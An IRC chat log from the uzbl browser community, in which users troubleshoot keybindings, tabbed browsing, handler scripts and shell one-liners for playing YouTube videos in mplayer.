21:27 < ben_m> yeah
21:28 < ben_m> I got that much ;)
21:28 < ruskie> it depends what you have actually
21:28 < ben_m> Just not how I jump to the next occurances.
21:28 < ben_m> bind n = search
21:28 < ben_m> with a comment
21:28 < ben_m> # jump to next
21:28 < ruskie> bind    /_        = search %s
21:28 < ruskie> bind    ?_        = search_reverse %s
21:28 < ruskie> that's what I have
21:28 < ben_m> I have /* = search %s
21:28 < ben_m> and then
21:28 < ben_m> bind n = search # jump to next
21:28 < ruskie> if I want to go the next I type in / and just enter
21:28 < ben_m> ah :)
21:28 < ruskie> but that's with mine
21:29 < ruskie> no clue if * works the same
21:29 < ruskie> I HATE find as you type
21:29 < axionix> ruskie: add fmt=22 to the echo subshell like this
21:29 < axionix> mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s http://www.youtube.com/watch?v=nrYJ3HIGH8g | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")&fmt=22")
21:30 < ruskie> thanks
21:30 < ruskie> and how I solve the fallback... simply call mplayer with both options with HD as the first :)
21:31 < axionix> haha...i always think too much
21:31 < axionix> nice
21:31 < ruskie> and easy to quit once I've seen one :)
21:31 < axionix> could you use || ?
21:31 < axionix> or is that wrong
21:31 < ruskie> would need to check
21:31 < ruskie> could probably do it
21:33 < ruskie> hmm doesn't return != 0
21:33 < ruskie> would need to parse mplayer output
21:34 < axionix> aha
21:34 < axionix> well when i figure it all out i'll add it to the wiki
21:34 < ruskie> | grep "No stream found to handle url" <-- adding this at the end will work
21:35 < ruskie> of mplayer that is
21:35 < ruskie> should probably redirect mplayers output to a dzen2 window
21:35 < axionix> thats messed up mplayers return coes that is
21:35 < ruskie> it's a valid return code
21:35 < ruskie> the program exited correctly
21:35 < ruskie> it just didn't find anything to play
21:36 < axionix> yeah true
21:36 < axionix> btw you can use -dumpstream switch to actually download it
21:36 < ruskie> I use yaydl for that :)
21:37 < ruskie> since I can just load up the urls there
21:37 < ruskie> now just need scripts for every other tube site outthere
21:38 < ruskie> or maybe I should just hook in yaydl
21:38 < ruskie> since that supports a few sites
21:39 < axionix> it shouldnt be hard to adapt that one liner
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21:40 < axionix> depends on the format though
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21:42 < axionix> how are you calling that with a keybind or load_*_handler?
21:44 < ben_m> Can I configure uzbl(_tabbed) so that I can middleclick a link and it opens it in a new tab, prefferably in the background?
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21:45 < ruskie> axionix, keybind so far
21:46 < ruskie> ben_m, look on the wiki there's a middle click js there
21:46 < ruskie> and enable open new windows in tab in tabbed and you get things worknig
21:46 < ben_m> Thanks :)
21:47 < ruskie> I'm still waiting for better kebinding
21:48 < axionix> i'm writing a script for load handler
21:48 < ruskie> if you can get it working with the various sites would be nice :)
21:49 < axionix> im going to attempt hulu for the first time next
21:49 < ruskie> I thought they were using some encryption thingy?
21:49 < axionix> maybe thats out then haha
21:49 < ruskie> ertmp or some such
21:49 < ruskie> needs rtmp to use
21:49 < ruskie> erm rtmpdump
21:51 < ruskie> which adobe managed to DMCA-d from sourceforge
21:51 < ruskie> there's a torrent floating around though(I'm one of the seeders)
21:51 < axionix> heh
21:51 < axionix> you can tell youve been coding in python too long when you cant write a damn sh conditional
21:52 < ruskie> if [ "$whatever" == "Whatever" ]; then whdatever ; fi
21:52 < ruskie> or case if you want to avoid to many ifs ;)
21:52 < axionix> i'm trying to do if [ $1 | grep "blah" ]; then { whatever; } fi
21:53 < ruskie> wrong
21:53 < axionix> i know
21:53 < axionix> its been too long
21:53 < ruskie> if echo $1 | grep -q "blah" ; then whatever ; fi
21:53 < ruskie> no {}
21:53 < ruskie> and don't need [ ] with direct commands
21:53 < axionix> ok thanks
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22:03 < axionix> ruskie: how did you do grep for hd exactly?
22:04 < ruskie> http://sprunge.us/NRTd
22:04 < ruskie> that's the full script
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22:22 < axionix> ruskie: does that play SD after HD?
22:22 < axionix> for you?
22:23 < ruskie> hmm
22:23 < ruskie> haven't tried yet
22:23 < ruskie> it shouldn't
22:23 < ruskie> it sohuld try hd and if that fails then switch over to sd
22:23 < ruskie> I know that bit works
22:24 < axionix> well i copy/pasted and if you stop hd or it ends, sd plays
22:26 < ruskie> what video
22:26 < ruskie> I'd like to try it with the same one
22:26 < axionix> nrYJ3HIGH8g
22:27 < axionix> i tried yours after i wrote mine actually...both do it
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22:28 < ruskie> hmm interesting
22:28 < axionix> ruskie: get rid of the !
22:29 < ruskie> doh
22:29 < axionix> hehe i did the same thing
22:29 < ruskie> late nite coding never is good for my logic
22:29 < ruskie> hmm odd
22:29 < ruskie> you use fmt=22 is HD?
22:29 < axionix> yes
22:29 < ruskie> I get some with fmt=18
22:29 < ruskie> with yaydl
22:30 < axionix> =6 too
22:30 < axionix> gonna have to adapt my script
22:30 < ruskie> I wonder what others are there
22:30 < ruskie> 22 and 18... what else
22:31 < axionix> fmt=6 is flv format and 480x360 at a low bitrate. fmt=18 is MP4 and is a higher bitrate, but same resolution. fmt=22 is 720p
22:31 < axionix> thats all
22:32 < axionix> i think
22:32 < axionix> so i would try in descending order
22:32 < axionix> highest to lowest quality
22:34 < ruskie> hmm I would try in the order the user prefers :)
22:34  * ruskie sets up a simply for loop for that
22:34 < axionix> yeah i dont like how hd defaults tbo
22:34 < axionix> tbh
22:35 < axionix> lemme know if you get it working good
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22:38 < ruskie> http://sprunge.us/GMfH <-- try that
22:38 < ruskie> there's one setting in there QUALITY which you can set to whatever options you prefer
22:39 < ruskie> seems to work for me
22:41 < axionix> update the link please :)
22:41 < ruskie> ?
22:41 < axionix> sprunge.us
22:41 < ruskie> what's wrong?
22:42 < axionix> stuck on 'wait'
22:42 < axionix> nvm
22:42 < axionix> must be slow
22:42 < ruskie> http://ruskie.codemages.net/cgi-bin/gitweb.cgi?p=configs/uzbl.git;a=blob;f=scripts/watch_youtube.sh;h=296c2f204074dd6b0892ed96db43b54e14bae560;hb=HEAD <-- here's the commited bit though :)
22:50 < axionix> hmmm...it never gets to 6
22:50 < axionix> well it times out
22:50 < ruskie> erm?
22:51 < axionix> if i put 6 first it doesnt go
22:51 < axionix> at all
22:51 < ruskie> odd
22:52 < axionix> how would i do null for the quality loop (SD)?
22:53 < ruskie> if $quality == 6 ; then this url else other url
22:53 < ruskie> or hmm
23:00 < jelly12gen> ok
23:00 < jelly12gen> i made a simple bookmark from bar script
23:00 < jelly12gen> work like
23:00 < jelly12gen> B keyword keyword
23:00 < jelly12gen> i will make the loading part tommorow :)
23:00 < jelly12gen> http://dpaste.com/78963/
23:01 < s4msung> :)
23:01 < jelly12gen> i love it
23:01 < jelly12gen> oh and it checks if a bookmark exists :)
23:01 < jelly12gen> i will add it to the wiki :)
23:01 < jelly12gen> man i love uzbl , selfscripting is win
23:02 < s4msung> definitly
23:02 < s4msung> :)
23:03 < jelly12gen> !google
23:03 < uzblbot`> jelly12gen: Error: "google" is not a valid command.
23:03 < jelly12gen> s4msung: i need to think about bookmark loading
23:03 < jelly12gen> or with keywords from the bar
23:03 < jelly12gen> or something like dmenu
23:04 < s4msung> mhmm.. or a combination? :)
23:04 < jelly12gen> hmm
23:04 < jelly12gen> s4msung: L keyowrd keyword
23:04 < jelly12gen> popup with options
23:04 < jelly12gen> good call
23:04 < jelly12gen> it's that i have to sleep
23:04 < s4msung> hehe, me too
23:05 < jelly12gen> tommorow work again :P
23:05 < s4msung> 11pm here
23:05 < jelly12gen> here too
23:05 < jelly12gen> he there is a new release ? :o
23:05 < jelly12gen> http://github.com/Dieterbe/uzbl/tree/2009.08.08
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23:06 < s4msung> anyway, gn8 :)
23:06 < jelly12gen> you two
23:06 < holizz> jelly12gen, Well, it was supposed to be tagged a few days ago, so by now it's quite old.
23:06 < jelly12gen> holizz: hmm
23:07 < jelly12gen> tommorow it
23:07 < jelly12gen> it's time to pull
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23:41 < ben_m> When I'm writing a perl script as download handler, how are the arguments ($1 ... $8) passed to the script?
23:42 < scj> ben_m: uzbl.org/readme.php
23:44 < ben_m> Yeah but, are they just passed as command line args?
23:45 < scj> yes
23:45 < ben_m> mhh
23:46 < scj> my ($config,$pid,$xid,$fifo,$socket,$url,$title) = @ARGV;
23:47 < ben_m> agh
23:47 < ben_m> I used @_ instead of @ARGV ;D
23:48 < ben_m> Thanks :)
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01:38 < kibombo> 2009-08-12 18:30:49      *      kibombo has already come across a problem with gridselect
01:38 < kibombo> 2009-08-12 18:31:58     kibombo so.. i have more than 105 windows open (the most grid select shows on my screen), and i can't figure out how to get to them using grid select..
01:38 < kibombo> 2009-08-12 18:32:11     -->     clanehin (n=lane@cpe-069-134-154-178.nc.res.rr.com) has joined #xmonad
01:38 < kibombo> 2009-08-12 18:33:42     kibombo and i'd like to be to change the names of the urxt session to be more easily recognizable instead of Safar@comp1:~
01:38 < kibombo> 2009-08-12 18:33:47     kibombo any suggestions?
01:38 < kibombo> 2009-08-12 18:33:55      *      kibombo is trying to replace tabbing in firefox
01:38 < kibombo> 2009-08-12 18:34:01     kibombo so that i can use uzbl
01:38 < kibombo> ignore the question about the shell renaming
01:38 < kibombo> i just wondered how others in here deal with 105+ websites open
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02:19 < axionix> i have a problem
02:20 < axionix> i set load_finish_handler to a bash script i made
02:20 < axionix> with: sh 'script.sh $5 $6'
02:21 < axionix> in that file, i have 2 lines: the original finish handler for status bar text, and a command to launch mplayer if the url is a youtube video
02:22 < axionix> only 1 of them will work. doesnt matter if the handler is first or last, i have to comment 1 or the other out to get them to work
02:22 < axionix> any clue what is up?
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03:24 < kibombo> how many tabs can the uzbl_tabbed.py script handle?
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03:24 < mason-l> kibombo, As many as your ram can accommodate, there are no intentional internal limits.
03:25 < axionix> no idea, but you'll probably run out of ram before you run out of tabs at >5mb each
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03:29 < axionix> i'm still trying to figure out why i cant rap load_finish)handler in an external script
03:29 < axionix> wrap*
03:29  * kibombo would like to know where $XDG_DATA_HOME is...
03:29 < mason-l> kibombo, echo #XDG_DATA_HOME
03:29 < kibombo> i find it and history, cookies, tabs all work
03:30 < mason-l> Otherwise ~/.local/share/
03:31 < kibombo> well then i'm confused
03:31 < kibombo> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/cookies.py" (No such file or directory)
03:31 < kibombo> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)
03:31 < kibombo> both are there
03:32 < axionix> ls -l $XDG_DATA_HOME/uzbl/scripts/cookies.py
03:32 < mason-l> So their paths look like ~/.local/share/uzbl/scripts/cookies.py  ?
03:32 < kibombo> yep
03:32 < mason-l> Is your $XDG_DATA_HOME defined?
03:33 < kibombo> -rwxr-xr-x
03:33 < kibombo> dunno
03:33 < mason-l> kibombo, Do you see anything when you: echo $XDG_DATA_HOME
03:33 < kibombo> having to switch to bash to do ech $XDG_DATA_HOME
03:33 < kibombo> echo*
03:33 < kibombo> i usually use zsh
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03:34 < kibombo> nothing shows up in zsh, but bash shows ~/.local/share/ as the xdg_data_home location
03:34 < mason-l> kibombo, Do you get errors when you launch uzbl from bash?
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03:40 < axionix> http://pastie.org/582155 please help...i have no clue why this doesnt work. header explains all....
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03:42 < mason-l> axionix, Are you specifying the correct socket location? $2 might or might not be the fifo socket.
03:43 < axionix> according to the readme, it is the socket path/file
03:43 < mason-l> ok
03:43 < axionix> and it works
03:43 < axionix> it blocks the rest from working though
03:43 < axionix> if i put it last, it works too...but the beginning (my portion) doesnt
03:43 < axionix> if i comment it out, my portion works
03:44 < axionix> very strange
03:44 < mason-l> axionix, You could always set that command using uzbl's fifo
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03:45 < mason-l> echo 'set load_finish_handler = set status_message = <span foreground="gold">  finished</span>'  > $1
03:45 < axionix> hmmm didnt kow that
03:46 < axionix> wonder what the drawbacks are if any
03:46 < mason-l> The small blocking time afaik.
03:46 < mason-l> but its better than uzblctrl in this instance.
03:46 < axionix> i'll try, thanks
03:47 < axionix> i wonder if there is a way to interface with webkit to disable flash on certain pages
03:47 < axionix> currently the video plays in flash and mplayer simultaneously
03:48 < mason-l> You could set up a load_commit_handler to check the url then set disable_plugins on pages that you don't want flash on.
03:48 < axionix> heh wow. uzbl rocks
03:49 < mason-l> :)
03:49 < axionix> hard to imagine its pre-alpha or even pre-beta :)
03:50 < mason-l> Saying its alpha is our way of being humble :P
03:51 < axionix> i fear i'll never get back to my real projects with this level of power coding :)
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04:06 < kibombo> sorry mason-l, i was afk with family. bash doesn't give errors, so i'm guessing the uzbl-tabbed.py script will work now.. just need to specify some keybindings in the config i'm guessing
04:11 < mason-l> kibombo, Setting any key-binding in your config is entirely optional, check the documentation at the top of the file for the complete reference and list of commands you can change.
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04:14 < kibombo> do i have to restart uzbl for it start using what's in the config file?
04:18 < kibombo> hm, all the keybindings aren't understood
04:18 < kibombo> "command "bind_show_tablist" not understood. ignoring."
04:18 < kibombo> see a bunch of errors like that
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04:28 < Gentooer> hi, is there anyway to bind a key to enable/disable flash?
04:31 < kibombo> Gentooer: if you write a script for it ;)
04:31 < kibombo> seriously though, that may be the only available option atm
04:32  * kibombo isn't sure
04:32 < Gentooer> ok thanks, i might give that a try
04:40 < kibombo> Gentooer: if you do, i'm sure some of us would be interested to see the code :)
04:41 < Gentooer> i just looked at the uzbl code and don't see anything related to flash, so I guess it's all controlled by webkit.
04:44 < mason-l> kibombo, You have put those in your config file incorrectly.
04:44 < mason-l> kibombo, You still need to prefix the commands with set
04:44 < mason-l> I.e. "set bind_tab_from_clip = gY"
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05:10 < mason-l> kibombo, Still getting errors?
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05:27 < kibombo> mason-l: sorry, was afk again
05:27 < kibombo> well.. no
05:27 < kibombo> well yes
05:28 < kibombo> command "fifo_dir" not understood. ignoring.
05:28 < kibombo> command "socket_dir" not understood. ignoring.
05:28 < kibombo> command "con_path" not understood. ignoring.
05:28 < kibombo> command "status_background" not understood. ignoring.
05:28 < kibombo> command "window_size" not understood. ignoring.
05:28 < kibombo> but maybe those aren't important
05:28 < kibombo> what's important is the keybindings
05:28 < kibombo> i'm curious how many tabs uzbl can handle
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05:28 < kibombo> and i want to be able to use the uzbl-tabbed.py script to find out
05:29 < kibombo> from what i gather gn creates a new tab, mason-l?
05:29 < kibombo> bind new_tab            = gn
05:29 < mason-l> kibombo, No no no no, you're doing it all wrong :P
05:30 < kibombo> #general tabbing options
05:30 < kibombo> set show_tablist            = 1
05:30 < kibombo> set show_gtk_tabs           = 0
05:30 < kibombo> set tablist_top             = 1
05:30 < kibombo> mason-l: please explain :)
05:31 < mason-l> Those are correct, just remember all of those commands require set in front of them
05:32 < kibombo> except for bind new_tab right?
05:32 < mason-l> nope
05:32 < kibombo> so those two, aye?
05:32 < mason-l> they need to be "set bind_new_tab = gn"
05:33 < kibombo> you meat set bind new_tab = gn?
05:33 < kibombo> smeat/mean
05:33 < mason-l> nope
05:33 < mason-l> <mason-l> they need to be "set bind_new_tab = gn"
05:33 < mason-l> I'll show you
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08:42 < rob|> morning.
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08:57 < neldoreth> hey, according to a bug in a previous version of libwebkit (1.1.10-2) that segfaults while opening google calendar, i recompiled (again with gcc 4.3, like back a few weeks, where wikipedia crashed too) libwebkit, libsoup and glib2 (the newest versions). if anyone is interested in archlinux 64 packages: libwebkit 1.1.12: http://omploader.org/vMjU4NQ , libsoup 2.27.90 http://omploader.org/vMjU4OA and glib2 2.21.4 http://omploader.org/vMjU4Nw
08:59 < mason-l> Are those AUR packages?
09:04 < neldoreth> no
09:05 < neldoreth> i took the pkgbuilds from the original packages and edited them for the newest versions
09:05 < mason-l> oh
09:06 < neldoreth> but i guess there isnt any real difference between the package builds
09:06 < neldoreth> and the aur packages like libsoup-newest are not on the latest version
09:07 < neldoreth> but you dont have to use them, you just can
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10:08 < ruskie> good morrow all
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10:16 < mason-l> morning ruskie
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10:19 < mason-l> I sent a message just before being disconnected earlier, I don't think it got out:
10:19 < mason-l> <mason-l> Discussion: Shouldnt the default socket and fifo location be in $XDG_CACHE_HOME instead of /tmp and chmod'ed to 600 to prevent access from other users on the system?
10:21  * ruskie already set his own that way
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10:24 < rob|> sounds like a reasonable default setting
10:31 < mason-l> Great.
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12:07 < axionix> morning all
12:08 < myyers> Hi all, is there a variable to define window size permanently
12:08 < myyers> and not `--geometry' which is only for the initial window
12:10 < axionix> im not sure but i use devilspie to set window positions/size/attributes
12:10 < axionix> might be worth a look
12:12 < myyers> Ah forgot; I uses devilspie some time ago til I found that compiz
12:12 < myyers> does the same job
12:13 < myyers> So I'll try with compiz, thanks anyway :)
12:13 < axionix> np
12:14 < axionix> hey, i just found a major bug. well not major but totally breaks back/forward
12:14 < axionix> i can confirm its in at least 1 other webkit browser too (midori)
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12:28 < axionix> http://www.uzbl.org/bugs/index.php?do=details&task_id=91
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13:11 < axionix> ruskie: i think they caught on to my testing. i can no longer play youtube on the cli
13:16 < ruskie> erm
13:17 < axionix> work for you?
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13:25 < Dr-Horrible> Gmail keeps crashing uzbl here, is that normal?
13:25 < axionix> ruskie: i ever tried your script. i'm out of ideas
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13:39 < Dr-Horrible> nm i fixed it, it was the calendar gadget
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13:46 < ruskie> lemme try
13:49 < ruskie> hmm maybe they changed something axionix
13:51 < axionix> ruskie: i think their site is under maintenance. you cant even play fullscreen on the site
13:52 < axionix> odd thing is clive works
13:52 < axionix> i wish i knew perl so i could understand it better
14:02 < axionix> ruskie: mplayer `youtube-dl -g $url` also works
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14:29 < ruskie> axionix, as does yaydl -n :)
14:30 < axionix> what language is that one in?
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15:25 < axionix> ruskie: here: http://pastie.org/582625
15:25 < henn1nk> hello guys. i really like uzbl. but why does it render soooo slow?
15:26 < axionix> henn1nk: use a caching proxy. there is no caching like more advanced browsers
15:26 < axionix> it is very basic and we like it like that :) add whatever functionality you want :)
15:27 < holizz> henn1nk, Also, it only does sequential HTTP requests. And make sure you're not using a cookie_handler that executes a script - use a socketed one instead.
15:27 < henn1nk> holizz: where can i see, if i'm using an cookie_handler?
15:28 < holizz> henn1nk, In your config file.
15:28 < henn1nk> holizz: i'm using cookie_handler= the cookies.py script
15:29 < holizz> henn1nk, Slooow. Use the talk_to_socket handler, there should be an example in the sample config.
15:30 < ruskie> lol
15:30 < holizz> That is if you want cookies. In fact, get mason-l's experimental - the cookie_daemon.py in Dieterbe/experimental is out-of-date.
15:30 < axionix> cookies.sh is slower i bet right?
15:31 < holizz> axionix, I'd assume it would be faster, but it's still a lot slower than using a daemon via a socket.
15:31 < axionix> i'll take that line out then. good to know
15:31 < mason_l> http://www.uzbl.org/wiki/cookie_daemon.py
15:31 < mason_l> Find info there ^
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15:32 < henn1nk> ok thx
15:33 < mason-l> rob|, Are you taking over for Dieterbe for handling pull-requests sent to the mailing list?
15:34 < henn1nk> yeah nice :)
15:34 < axionix> hrmm, cant wait for the bug i reported this morning to be fixed
15:35 < mason-l> axionix, You can write your own back & forward script
15:35 < axionix> seems a little redudnant
15:35 < henn1nk> now everything is fine. thx guys
15:36 < mason-l> axionix, I'm just saying its an option
15:36 < mason-l> helmut, No problem.
15:37 < axionix> how can i align text to the right of the status bar? i'd like 'wait' etc over there instead of touching the url
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15:45 < scj> don't think pango can right align
15:45 < axionix> hrmm
15:45 < axionix> ok
15:45 < mason-l> And not without right-aligning the whole text field.
15:47 < axionix> mason-l: btw i tried usinga fifo instead of a sockety in my script as you recommended and it still only works if i comment my script or the fifo...both cant exist
15:47 < mason-l> You're trying to use socket & fifo?
15:47 < mason-l> You only need the fifo
15:47 < axionix> no just fifo
15:48 < mason-l> But it works?
15:48 < axionix> it only works if i comment out the rest of my script....and my script only works if i comment out the fifo
15:48 < mason-l> axionix, Can you upload your script
15:48 < axionix> sure
15:49 < axionix> http://pastie.org/582657
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15:51 < scj> $2 isn't the fifo
15:51 < axionix> it is passed to $2
15:51 < axionix> set load_finish_handler = sh 'youtube.sh $6 $4'
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15:52 < scj> oh, ok. but it's sort of bad form to write uzbl scripts and mess around with the argument order
15:53 < axionix> how else should i be doing it?
15:53 < scj> set load_finish_handler = spawn youtube.sh
15:53 < scj> and in youtube.sh, you refer to fifo as $4
15:54 < axionix> oh wow
15:54 < scj> and url as $6
15:55 < axionix> it still doesnt work
15:56 < axionix> it works if i comment out the echo to fifo in my script
15:56 < axionix> but not with
15:57 < axionix> also the echo works if i comment out the rest of my script
15:57 < axionix> both wont work together
15:57 < axionix> same problem as w/o spawn
15:57 < scj> it should probably be 'set load_finish_handler = sh "echo 'set status_message ...
15:58 < rob|> mason-l: re. the pull requests. yeah i will take over, though only for bugfixes. new ideas should still be "approved" by more people than just me and the coder
15:59 < axionix> scj: im not sure what you mean
15:59 < mason-l> rob|, Of which I think the cookie_daemon.py applies (i.e. my pull request)
16:00 < axionix> it works like that
16:00 < axionix> but not with my script
16:00 < rob|> mason-l: alright. let's see...
16:02 < axionix> it does not get past the echo line...no output whatsoever
16:02 < axionix> but the echo line works
16:02 < axionix> i tried a socket before this with the same result
16:02 < axionix> ive been at this 1 line for 2 days haha
16:03 < rob|> mason-l: alright mason, applied. thanks.
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16:03 < github> uzbl: Mason Larobina experimental SHA1-78a1581
16:03 < github> Initial commit of cookie_daemon.py
16:03 < github> http://bit.ly/3BMwF
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16:03 < mason-l> * github has quit (Excess Flood) <- ohlol.
16:03 < mason-l> rob|, Thanks mate.
16:04 < rob|> sure thing
16:08 < rob|> mason-l: on another note, did you consider moving uzbl_tabbed from parsing the physical config file to query uzbl for the variables?
16:08 < rob|> i.e. use custom vars
16:08 < mason-l> rob|, Theres trade-offs to that.
16:09 < rob|> like?
16:09 < axionix> something is really weird. all my bindings just stopped working
16:09 < axionix> i cant even enter input mode
16:09 < mason-l> rob|, If the fifo_dir or socket_dir are changed then I cant access any uzbl instances to get the config from them.
16:09 < rob|> hmm, true.
16:09 < mason-l> rob|, And other pre-start settings. I.e. all of them :P
16:10 < mason-l> rob|, Realistically I might be able to read about half of the config from an instance and the rest needs to be loaded from the config file still.
16:10 < rob|> but can't you query uzbl before attaching it to your window?
16:10 < mason-l> 'but the rest
16:11 < mason-l> As far as I know I cant. I need to make the gtk socket before launching the uzbl instance and by then its attached itself .
16:11 < rob|> hmm, bummer
16:12 < rob|> axionix: re. your script. how do you launch it?
16:12 < axionix> nvm...bigger problem. uzbl just rendered itself useless
16:13 < rob|> oh
16:13 < axionix> randomly uzbl stopped catching binds
16:13 < axionix> i cant enter input mode or anything
16:13 < rob|> now that's strange
16:13 < axionix> very
16:14 < axionix> i just tried commenting everything except 1 bind line
16:14 < axionix> still nothing
16:15 < scj> do bind statements still choke on \t?
16:17 < rob|> nope
16:18 < rob|> well, at least i presume g_strchug() interpretes \t as whitespace, too
16:18 < axionix> a new config withonly : bind ZZ = exit, works
16:18 < axionix> must be my config somehow
16:19 < scj> rob|: bind\ttest\t=js alert('hello') doesn't work
16:20 < scj> bind test\t=js alert('hello') does
16:22 < rob|> hmm
16:22 < rob|> it splits on " = "
16:23  * ruskie still waits patiently for the day that binding will be more free(as in various mods per key etc...)
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16:24 < rob|> ruskie: true, though i would outsource the parser for such bindings to an external script
16:25 < rob|> and just let uzbl report every single key hit
16:25 < rob|> as done in my event-messages branch
16:27 < ruskie> isn't that just a tad overkill?
16:28 < axionix> i just copy/pasted to a new file and it works. never use tabs in config fyi
16:28 < axionix> diff shows only whitespace as difference
16:28 < rob|> don't think so, as you could handle bindings in any way youz like with that approach
16:29 < rob|> e.g. you could write a binding parser that uses timeouts like vim, etc.
16:30 < rob|> also the binding syntax would be freely chosable
16:30 < scj> axionix: do you use vim?
16:31 < axionix> rob|: yes but i was using geany because i was doing some python work
16:31 < axionix> err scj
16:32 < scj> add '# vim:set et:' to your config
16:32 < axionix> ok
16:32 < scj> then do a :retab
16:33 < rob|> or just do ':set list' and inspect for any tabs
16:35 < axionix> rob|: to answer your question i'e tried: sh and spawn
16:35 < rob|> axionix: i'm not really sure what your goal is. i.e. from where/how do you launch your script?
16:36 < rob|> from load_finished_handler?
16:36 < axionix> my goal is to wrap the status message in my own script for load_finish_handler....
16:36 < axionix> set load_finish_handler = spawn youtube.sh
16:37 < rob|> right, so whenever a page has finished loading your script will be started where you inspect the current uri
16:37 < rob|> and based on that you want to set status_message, right?
16:37 < axionix> no, i want it to set the status message, then execute the script, which checks for a youtube url and if so, does something
16:38 < axionix> both parts work, just not together
16:38 < axionix> i have to comment 1 or the other out
16:39 < rob|> ah, alright. so:   set load_finish_handler = chain 'set status_message= foo' 'spawn myscript'
16:39 < rob|> does not work?
16:39  * axionix checks
16:41 < axionix> ok that works. weird as i tried chain before wrapping it
16:42 < rob|> heh, ok
16:42 < rob|> problem solved ;)
16:42 < axionix> thank you so much...though now the script isnt working completely right. its echo'ing stuff when i use &> /dev/null
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16:44 < rob|> might be the shell, try "2>&1 >/dev/null"
16:45 < axionix> that excludes warnings...even more echo'd
16:45 < axionix> &> is for complete silence. problem is its not passing a conditional for some odd reason
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16:49 < rob|> you conditional syntax looks strange
16:49 < rob|> especially the test for URL
16:49 < axionix> how so?
16:49 < axionix> #bash wrote that
16:50 < axionix> and it works standalone without uzbl perfectly
16:50 < rob|> URL=$(youtube-dl ....)  what is URL supposed to contain after that call?
16:51 < axionix> nothing...url is supposed to be equal to that call so that youtube-dl does not have to be called twice causing the video to be delayed
16:51 < axionix> hmmm i just tried youtube.sh blah and it tries to run youtube-dl on blah
16:51 < axionix> i guess it doesnt work outside of uzbl
16:52 < axionix> stupid #bash people
16:52 < rob|> yeah, equal to what? does youtu-dl even print anything to its stdout?
16:52 < scj> youtube-dl -g does
16:53 < rob|> and what?
16:53 < axionix> a url
16:53 < axionix> takes the original url and makes an mplayer friendly url
16:53 < scj> it prints then flv uri
16:54 < scj> s/then/the/
16:54 < axionix> or mp4
16:54 < rob|> ah, so you want to check if URL is empty, right?
16:54 < axionix> axion@axdesk downloads> youtube.sh http://blah
16:54 < axionix> ERROR: no suitable InfoExtractor: http://blah
16:54 < axionix> the ERROR is from youtube-dl
16:55 < axionix> it should get that far
16:55 < axionix> shouldnt*
16:55 < axionix> i want to check if the URL starts with http://www.youtube.com/watch
16:55 < axionix> and then youtube-dl will create a new URL for mplayer
16:55 < rob|> talking about your second if clause
16:56 < rob|> right so URL=§(youtube-dl ....);  if [ x"$URL" != x'' ]; then ...; fi
16:56 < axionix> oh, thats supposed to catch the return value of youtube-dl
16:56 < axionix> supposed to only continue if = 0
16:57 < axionix> but currently it doesnt
16:57 < rob|> right, it doesn't work that way..
16:58 < axionix> that syntax is unlike anything i've seen
16:59 < rob|> well anyways, i guess your syntax should still work
17:00 < axionix> could you edit the paste? its hard to decipher that
17:02 < rob|> http://pastie.org/582746
17:04 < axionix> ERROR: no suitable InfoExtractor: http://blah
17:04 < axionix> same thing
17:06 < axionix> it shouldnt get past the first if clause
17:07 < rob|> yeah
17:07 < axionix> im not sure why it does
17:09 < rob|> hmm
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17:16 < axionix> rob|: problem is the last line...not sure how to solve it though
17:17 < rob|> well use a temp variable that you set to some value if the above 'if' clauses did match and check for that one before running the last line?
17:23 < rob|> anyways, there's no reason to write that script in bash if you're more confortable with any other lang
17:23 < rob|> -n+m
17:23 < axionix> yeah i know, i figured itd be easier and wouldnt need a dep. (not bash but sh)
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17:49 < axionix> rob|: http://pastie.org/582807
17:49 < axionix> finished...prob not the best it could be, but it works
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17:59 < axionix> wow...this is very weird
17:59 < axionix> now with my changes, $6 is always blank
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18:09 < axionix> i see, now it requires spawn. this thing has a mind of its own
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18:21 < ruskie> got anything working yet axionix ?
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18:40 < ruskie> hmm nice
18:40 < ruskie> I have uzbl launch mplayer with the youtube vid I want
18:41 < ruskie> as in when I open up that link
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18:45 < ruskie> hmm though something is odd...
18:49 < ruskie> ahh
18:49 < ruskie> that's better
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18:54 < axionix> ?
18:54 < axionix> ruskie: whats the problem? yes i do
18:54 < axionix> http://pastie.org/582625
18:54 < ruskie> I have it working myself now :)
18:55 < axionix> ah, what way did you go?
18:56 < ruskie> http://ruskie.codemages.net/cgi-bin/gitweb.cgi?p=configs/uzbl.git;a=commitdiff;h=4199b0a11ab7403e45ca7d507f3a50da08ccd694;hp=11dd30c61739cefd59617d746cd430d8251719db
18:56 < axionix> ruskie: oops thats an old version of my code
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19:02 < axionix_> ruskie: http://pastie.org/582877
19:03 < ruskie> :)
19:03 < ruskie> yaydl just picks the best available quality
19:03 < axionix_> what language is that in?
19:03 < ruskie> perl
19:04 < axionix_> id rather it be configurable
19:04 < axionix_> as you can see i have SD by default
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19:12 < axionix_> sorry, my isp is having some issues
19:13 < ruskie> :)
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19:25 < mason-l> http://ruskie.codemages.net/cgi-bin/gitweb.cgi?p=configs/uzbl.git;a=blob;f=scripts/watch_youtube.sh;h=4494978bef8cc387e59d6511edd0e023fbe239ae;hb=4199b0a11ab7403e45ca7d507f3a50da08ccd694#l1
19:25 < mason-l> I'd like to report a bug please.
19:25 < ruskie> ???
19:25 < mason-l> "#!/bin/dash" :P
19:25 < ruskie> it's correct
19:25 < ruskie> not a typo
19:26 < mason-l> :O
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19:26 < ruskie> you can replace it with /bin/sh but I prefer to be explicit
19:27 < ruskie> http://gondor.apana.org.au/~herbert/dash/
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19:28 < mason-l> Impressive.
19:29 < ruskie> as I tend to code in bash, zsh and posix sh(I use dash for that) I use specific shells
19:29 < ruskie> so as not to get anything bad from one to the other
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21:10 < jelly12gen> hmm small question
21:10 < jelly12gen> how can i let uzbl open  a site with an script?
21:10 < jelly12gen> and not open a new windiws
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21:11 < ruskie> jelly12gen, you let it know through the fifo/socket
21:11 < jelly12gen> ok
21:11 < ruskie> iirc
21:13 < jelly12gen> almost finished with my bookmark script
21:14 < jelly12gen> ruskie: i got it working
21:14 < jelly12gen> i checked the load_from_bookmark.sh script
21:15 < jelly12gen> but i still have to fix some stuff
21:15 < jelly12gen> i have no nice prompt with options
21:16 < jelly12gen> it's just  B keyword keyword
21:16 < jelly12gen> U keyword keyword
21:22 < jelly12gen> hmm maybe some dmenu
